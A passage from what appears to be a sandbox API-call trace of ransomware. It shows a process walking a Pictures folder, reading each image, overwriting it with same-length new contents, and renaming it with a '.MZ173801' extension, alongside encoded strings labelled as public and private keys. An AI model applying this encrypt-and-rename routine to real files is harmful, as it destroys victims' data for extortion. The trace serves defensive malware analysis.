lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.377] GetCurrentThreadId () returned 0xab4 [0158.377] GetCurrentThreadId () returned 0xab4 [0158.377] GetCurrentThreadId () returned 0xab4 [0158.377] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\SuC Il0UxSD20dVADwP.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\suc il0uxsd20dvadwp.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.377] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0158.377] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.377] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x170b6 [0158.377] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.377] ReadFile (in: hFile=0x2f8, lpBuffer=0x24eb050, nNumberOfBytesToRead=0x170b6, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24eb050*, lpNumberOfBytesRead=0x19f74c*=0x170b6, lpOverlapped=0x0) returned 1 [0158.378] CloseHandle (hObject=0x2f8) returned 1 [0158.380] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\SuC Il0UxSD20dVADwP.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\suc il0uxsd20dvadwp.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.381] WriteFile (in: hFile=0x2f8, lpBuffer=0x2503080*, nNumberOfBytesToWrite=0x170b6, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x2503080*, lpNumberOfBytesWritten=0x19f758*=0x170b6, lpOverlapped=0x0) returned 1 [0158.383] CloseHandle (hObject=0x2f8) returned 1 [0158.386] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\SuC Il0UxSD20dVADwP.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\suc il0uxsd20dvadwp.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\SuC Il0UxSD20dVADwP.bmp.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\suc il0uxsd20dvadwp.bmp.mz173801")) returned 1 [0158.386] GetCurrentThreadId () returned 0xab4 [0158.386] GetCurrentThreadId () returned 0xab4 [0158.386] GetCurrentThreadId () returned 0xab4 [0158.386] GetCurrentThreadId () returned 0xab4 [0158.386] GetCurrentThreadId () returned 0xab4 [0158.386] GetCurrentThreadId () returned 0xab4 [0158.386] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d79250, ftCreationTime.dwHighDateTime=0x1d5f05e, ftLastAccessTime.dwLowDateTime=0xfbf66190, ftLastAccessTime.dwHighDateTime=0x1d5ef5e, ftLastWriteTime.dwLowDateTime=0xfbf66190, ftLastWriteTime.dwHighDateTime=0x1d5ef5e, nFileSizeHigh=0x0, nFileSizeLow=0xcdc9, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="ww0uvocct0qsPBwJa 7.jpg", cAlternateFileName="WW0UVO~1.JPG")) returned 1 [0158.386] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.387] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.387] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\ww0uvocct0qsPBwJa 7.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\ww0uvocct0qspbwja 7.jpg"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d79250, ftCreationTime.dwHighDateTime=0x1d5f05e, ftLastAccessTime.dwLowDateTime=0xfbf66190, ftLastAccessTime.dwHighDateTime=0x1d5ef5e, ftLastWriteTime.dwLowDateTime=0xfbf66190, ftLastWriteTime.dwHighDateTime=0x1d5ef5e, nFileSizeHigh=0x0, nFileSizeLow=0xcdc9)) returned 1 [0158.387] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\ww0uvocct0qsPBwJa 7.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\ww0uvocct0qspbwja 7.jpg")) returned 0x20 [0158.387] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\ww0uvocct0qsPBwJa 7.jpg", dwFileAttributes=0x80) returned 1 [0158.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24d21ec, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.389] GetCurrentThreadId () returned 0xab4 [0158.389] GetCurrentThreadId () returned 0xab4 [0158.389] GetCurrentThreadId () returned 0xab4 [0158.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24e324c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.390] GetCurrentThreadId () returned 0xab4 [0158.390] GetCurrentThreadId () returned 0xab4 [0158.390] GetCurrentThreadId () returned 0xab4 [0158.390] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\ww0uvocct0qsPBwJa 7.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\ww0uvocct0qspbwja 7.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.390] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0158.390] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.390] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0xcdc9 [0158.390] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.390] ReadFile (in: hFile=0x2f8, lpBuffer=0x24eb050, nNumberOfBytesToRead=0xcdc9, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24eb050*, lpNumberOfBytesRead=0x19f74c*=0xcdc9, lpOverlapped=0x0) returned 1 [0158.391] CloseHandle (hObject=0x2f8) returned 1 [0158.392] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\ww0uvocct0qsPBwJa 7.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\ww0uvocct0qspbwja 7.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.393] WriteFile (in: hFile=0x2f8, lpBuffer=0x24f9080*, nNumberOfBytesToWrite=0xcdc9, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24f9080*, lpNumberOfBytesWritten=0x19f758*=0xcdc9, lpOverlapped=0x0) returned 1 [0158.395] CloseHandle (hObject=0x2f8) returned 1 [0158.397] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\ww0uvocct0qsPBwJa 7.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\ww0uvocct0qspbwja 7.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\ww0uvocct0qsPBwJa 7.jpg.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\ww0uvocct0qspbwja 7.jpg.mz173801")) returned 1 [0158.397] GetCurrentThreadId () returned 0xab4 [0158.397] GetCurrentThreadId () returned 0xab4 [0158.397] GetCurrentThreadId () returned 0xab4 [0158.397] GetCurrentThreadId () returned 0xab4 [0158.397] GetCurrentThreadId () returned 0xab4 [0158.397] GetCurrentThreadId () returned 0xab4 [0158.397] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x163135c0, ftCreationTime.dwHighDateTime=0x1d5e763, ftLastAccessTime.dwLowDateTime=0x2bc72db0, ftLastAccessTime.dwHighDateTime=0x1d5e3bf, ftLastWriteTime.dwLowDateTime=0x2bc72db0, ftLastWriteTime.dwHighDateTime=0x1d5e3bf, nFileSizeHigh=0x0, nFileSizeLow=0x1523f, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="zfiVS.png", cAlternateFileName="")) returned 1 [0158.397] FileTimeToLocalFileTime (in: 